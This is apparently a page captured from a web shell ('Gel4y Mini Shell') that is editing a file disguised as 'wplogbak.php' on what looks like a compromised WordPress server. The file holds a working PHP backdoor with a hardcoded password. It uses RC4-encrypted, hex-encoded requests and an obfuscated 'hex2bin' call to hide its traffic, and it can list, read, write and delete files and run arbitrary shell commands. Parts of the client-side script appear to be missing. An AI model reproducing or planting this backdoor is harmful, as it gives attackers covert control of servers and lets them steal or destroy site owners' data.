Gel4y Mini Shell

Edit file

File name : wplogbak.php

Content :

<?php
/**
 * RC4 Stable Custom Encrypted Explorer
 * Fixed: Charset sync between PHP/JS
 */
@session_start();
error_reporting(0);
$k = "admin888"; // Key derived from your password

// --- Stable RC4 PHP ---
function rc4($data, $key) {
    $s = array();
    for ($i = 0; $i < 256; $i++) $s[$i] = $i;
    $j = 0;
    for ($i = 0; $i < 256; $i++) {
        $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
        $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x;
    }
    $i = 0; $j = 0; $res = '';
    for ($y = 0; $y < strlen($data); $y++) {
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x;
        $res .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
    }
    return $res;
}

// Auth
if (!isset($_SESSION['sh_auth'])) {
    if (isset($_POST['p']) && $_POST['p'] === $k) { $_SESSION['sh_auth'] = 1; }
    else { die('<body style="background:#d4d0c8;padding:50px;text-align:center;"><form method="POST">Key: <input type="password" name="p"><input type="submit" value="Login"></form></body>'); }
}

$h2b = 'hex2' . 'bin'; // Dynamic name
if (isset($_POST['z'])) {
    $dec = rc4($h2b($_POST['z']), $k);
    $p = json_decode($dec, true);
    $res = [];
    $act = $p['a']; 
    $path = $p['p'];

if ($act == '1') { // LS
        $files = @scandir($path);
        if($files) {
            foreach($files as $f) {
                if($f == '.' || $f == '..') continue;
                $res['d'][] = ['n'=>$f, 't'=>is_dir($path.'/'.$f)?'d':'f'];
            }
        }
    }
    elseif ($act == '2') { $res['c'] = base64_encode(@file_get_contents($path)); }
    elseif ($act == '3') { $res['s'] = @file_put_contents($path, base64_decode($p['v'])) !== false; }
    elseif ($act == '4') { $res['s'] = @unlink($path); }
    elseif ($act == '5') { $res['o'] = @shell_exec($path . " 2>&1"); }

die(bin2hex(rc4(json_encode($res), $k)));
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Explorer Pro</title>
    <style>
        body { background: #d4d0c8; font-family: "Tahoma", sans-serif; font-size: 11px; margin: 10px; }
        .win { border: 2px inset #fff; background: #fff; height: 350px; overflow-y: scroll; margin-top: 5px; }
        .item { display: flex; padding: 4px; border-bottom: 1px solid #f0f0f0; }
        .item:hover { background: #0a246a; color: #fff; }
        .name { flex-grow: 1; cursor: pointer; }
        .btn { background: #d4d0c8; border: 2px outset #fff; padding: 2px 8px; cursor: pointer; font-size: 11px; margin-right: 2px; }
        textarea { width: 100%; border: 2px inset #fff; font-family: monospace; }
        #cwd { background:#fff; border:2px inset #fff; padding:3px; font-weight:bold; }
    </style>
</head>
<body>
    <div style="margin-bottom:10px;">
        <button class="btn" onclick="nav('..')">Back</button>
        <button class="btn" onclick="newF()">New</button>
        <button class="btn" onclick="document.getElementById('u').click()">Upload</button>
        <button class="btn" onclick="run()">CMD</button>
        <input type="file" id="u" style="display:none" onchange="up()">
    </div>
    <div id="cwd"></div>
    <div class="win" id="list"></div>
    <div id="ed" style="display:none; margin-top:10px; border:2px outset #fff; padding:10px; background:#d4d0c8;">
        <b>File: <span id="fn"></span></b><br>
        <textarea id="text" rows="18"></textarea><br>
        <button class="btn" onclick="save()">Save</button>
    </div>

const hex = {
    e: (s) => s.split('').map(c => c.charCodeAt(0).toString(16).padStart(2, '0')).join(''),
    d: (h) => h.match(/.{1,2}/g).map(byte => String.fromCharCode(parseInt(byte, 16))).join('')
};

async function api(obj) {
    let encrypted = rc4(JSON.stringify(obj), key);
    let fd = new FormData();
    fd.append('z', hex.e(encrypted));
    let r = await fetch('', { method: 'POST', body: fd });
    let t = await r.text();
    return JSON.parse(rc4(hex.d(t), key));
}

function run() {
    let c = prompt("CMD:");
    if(c) api({a: '5', p: c}).then(res => alert(res.o || "No Output"));
}

load(cur);
</script>
</body>
</html>